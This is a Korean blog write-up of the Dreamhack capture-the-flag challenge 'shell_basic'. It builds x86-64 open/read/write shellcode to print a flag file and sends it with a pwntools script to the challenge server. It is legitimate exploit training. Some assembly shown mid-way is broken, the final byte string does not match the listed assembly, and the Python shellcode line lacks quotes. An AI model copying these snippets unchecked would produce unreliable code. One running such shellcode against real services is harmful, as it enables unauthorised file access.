System Hacking/Dreamhack 풀이

shell_basic(Shellcode)

박연준 2023. 7. 2. 00:16

문제 정보

입력한 셸코드를 실행하는 프로그램입니다.main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 위치와 이름 은 /home/shell_basic/flag_name_is_loooooong입니다.감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!

플래그의 형식은 DH{…} 입니다.

 

참고

$ cat write.asm
section .text
global _start
_start:
    ;/* write(fd=1, buf='hello', n=48) */
    ;/* push 'hello\\x00' */
    mov rax, 0x0a6f6c6c6568
    push rax
    mov rsi, rsp
    push 1
    pop rdi
    push 0x6
    pop rdx
    ;/* call write() */
    push 1
    pop rax
    syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 48b8 6865 6c6c 6f0a 0000 5048 89e6 6a01  H.hello...PH..j.
00000010: 5f6a 065a 6a01 580f 05                   _j.Zj.X..
$ cat write.bin | ./shell_basic
shellcode: hello
[1]    1592460 done                cat write.bin |
       1592461 segmentation fault  ./shell_basic
$

풀이

문제를 보니 execve, execveat 함수를 쓰지 않고 푸는 문제 같다. 참고와 비슷하게 어셈블리 코드를 작성하고 바이트 코드로 변환해야 할 것 같다.

먼저 /home/shell_basic/flag_name_is_loooooong 가 파일의 경로이므로 리틀엔디안 방식으로 16진수로 변경해보았다.

 

676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f 이 값을 이용해 셸코드를 작성해보자

 

참고에 나와 있는 것처럼 _start: 까지는 똑같이 썼다.

section .text
global _start
_start:

다음으로 파일이 있는 경로 명으로 rax에 대입해주기 위해서 다음과 같이 작성했다.

mov rax, 0x676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f

rax에 파일 경로를 대입해주었으니 push 명령을 이용해서 rax를 넣어준다.

push rax

syscall을 사용하기 위해 rax, rdi, rsi, rdx 값이 어떻게 되는지 알아보았다.

syscall            rax             arg0 (rdi)                                               arg1 (rsi)                                arg2 (rdx)

read 0x00 unsigned int fd char *buf size_t count
wrtie 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename inst flags umode_t mode

syscall 사용법을 알아보았으니 먼저 open을 시켜주어야 한다. 따라서 rsp의 값에는 현재 파일 경로가 들어가있고 rdi의 filename이 파일 경로가 되어야 하기 때문에 다음과 같은 명령을 넣어준다.

mov rdi, rsp

다음으로는 rsi의 값을 설정해주어야 하는데 read-only 방식으로 읽을 것이기 때문에 0으로 설정해줄 것이다. 따라서 xor 연산을 이용해 rsi의 값을 0으로 설정한다.

xor rsi, rsi

다음으로는 rdx의 값을 설정해주어야 한다. 하지만 파일을 읽을 때에는 mode는 의미를 갖지 않는다고 한다. 따라서 0으로 똑같이 xor 연산을 수행해준다.

xor rdx, rdx

syscall의 open 에서 rax의 값은 2가 되어야 하므로 mov 명령어를 이용해 2를 rax에 대입한다.

mov rax, 2

open 하기 위해 syscall 명령어를 넣어준다.

syscall

syscall의 open 까지 했을 때의 명령은 다음과 같다.

section .text
global _start
_start:
mov rax, 0x676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

다음으로는 syscall의 read를 이용해 파일을 읽어야 한다. 전의 syscall의 반환 값은 rax에 저장되기 때문에 read의 fd에 넣어야 한다. fd값에 반환된 rax값을 넣어주는 이유는 fd에는 0번(STDIN), 1번(STDOUT), 3번(STDERR)가 있지만 프로세스가 생성된 이후, open같은 함수를 통해 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해준다. 즉, rdi의 인자인 fd 부분에 넣어주어야 하기 때문에 rax 값을 rdi에 mov 명령으로 대입해준다.

mov rdi, rax

rsi부분은 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 따라서 어림잡아 0x50정도면은 충분할 거 같기 때문에 rsi의 값은 0x50으로 mov 명령을 이용해 대입해준다.

mov rsi, 0x50

rdx는 파일로부터 읽어낼 데이터의 길이인 0x50으로 설정한다.

mov rdx, 0x50

syscall의 read 시스템 콜은 rax값이 0이기 때문에 다음과 같이 설정해준다.

mov rax, 0x0

read하기 위해 syscall 명령어를 넣어준다.

syscall

read까지의 명령어를 모아보면 다음과 같다.

section .text
global _start
_start:
mov rax, 0x676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, 0x50
mov rdx, 0x50
mov rax, 0x0
syscall

이제 write를 해줄 차례이다. wrte 시스템 콜은 rax가 1이고 rdi 인자 부분은 stdout으로 설정해줄 것이기 때문에 1, 그리고 rsi와 rdx의 값은 이전의 read에서 사용한 그대로 사용할 것이다. 따라서 다음과 같이 설정했다.

mov rdi, 1
mov rax, 0x1
syscall

write 부분까지 종합하면 다음과 같다.

section .text
global _start
_start:
mov rax, 0x676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, 0x50
mov rdx, 0x50
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x1
syscall

이 코드를 리눅스에 복사해 shell_basic.asm 이라는 파일로 생성했다.

 

다음으로 바이트 코드로 변환하기 위해 위 참고에 있는 명령어를 참고해서 바이트코드로 변환해봤다.

nasm -f elf64 shell_basic.asm

위의 명령어를 수행했더니 다음과 같이 16진수로 바꾼 값들이 엄청 길어서 에러가 나는 것 같다.

 

 

파일 경로를 16진수로 바꾼 값을 8바이트씩 나눠서 다시 넣었다.

 

 

나눠서 넣은 후에는 명령어 오류 없이 잘 나왔다. xxd 명령어로 shell_basic_bin 파일을 16진수로 출력이 잘 나온 것을 확인할 수 있다.

 

저 숫자들을 shellcode로 쓰기 위해 변환해준다.

\\x48\\xb8\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6e\\x67\\x50\\x48\\xb8\\x61\\x6d\\x65\\x5f\\x69\\x73\\x5f\\x6c\\x50\\x48\\xb8\\x63\\x2f\\x66\\x6c\\x61\\x67\\x5f\\x6e\\x50\\x48\\xb8\\x65\\x6c\\x6c\\x5f\\x62\\x61\\x73\\x69\\x50\\x48\\xb8\\x2f\\x68\\x6f\\x6d\\x65\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x48\\x31\\xf6\\x48\\x31\\xd2\\xb8\\x02\\x00\\x00\\x00\\x0f\\x05\\x48\\x89\\xc7\\x48\\x89\\xe6\\x48\\x83\\xee\\x30\\xba\\x30\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x0f\\x05\\xbf\\x01\\x00\\x00\\x00\\xb8\\x01\\x00\\x00\\x00\\x0f\\x05\\x48\\x31\\xff\\xb8\\x3c\\x00\\x00\\x00\\x0f\\x05

python의 pwntools를 이용해서 익스플로잇 코드를 작성할 것이다. 먼저 pwntools의 API를 쓰기 위해서 import 해준다.

from pwn import *

다음으로 dreamhack에서 제공해준 도메인과 포트명을 알고 있기 때문에 remote로 설정해준다.

p = remote("host3.dreamhack.games", 23181)

다음으로 오가는 모든 데이터를 보기 위해 contex.log_level을 debug로 설정하고 아키텍처도 설정해줘야 하므로 amd64로 설정해준다.

context.log_level = 'debug'
context.arch = 'amd64'

shellcode를 쓰기 위해 아까 \x로 변환해줬던 값들을 shellcode 변수에 붙여 넣어준다.

shellcode = \\x48\\xb8\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6e\\x67\\x50\\x48\\xb8\\x61\\x6d\\x65\\x5f\\x69\\x73\\x5f\\x6c\\x50\\x48\\xb8\\x63\\x2f\\x66\\x6c\\x61\\x67\\x5f\\x6e\\x50\\x48\\xb8\\x65\\x6c\\x6c\\x5f\\x62\\x61\\x73\\x69\\x50\\x48\\xb8\\x2f\\x68\\x6f\\x6d\\x65\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x48\\x31\\xf6\\x48\\x31\\xd2\\xb8\\x02\\x00\\x00\\x00\\x0f\\x05\\x48\\x89\\xc7\\x48\\x89\\xe6\\x48\\x83\\xee\\x30\\xba\\x30\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x0f\\x05\\xbf\\x01\\x00\\x00\\x00\\xb8\\x01\\x00\\x00\\x00\\x0f\\x05\\x48\\x31\\xff\\xb8\\x3c\\x00\\x00\\x00\\x0f\\x05

shellcode를 보내면서 마지막에 개행문자를 넣어주고 싶어 sendline()함수로 shellcode를 보낸다.

p.sendline(shellcode)

마지막으로 오고가는 모든 데이터를 출력하기 위해 p.interactive()를 해준다.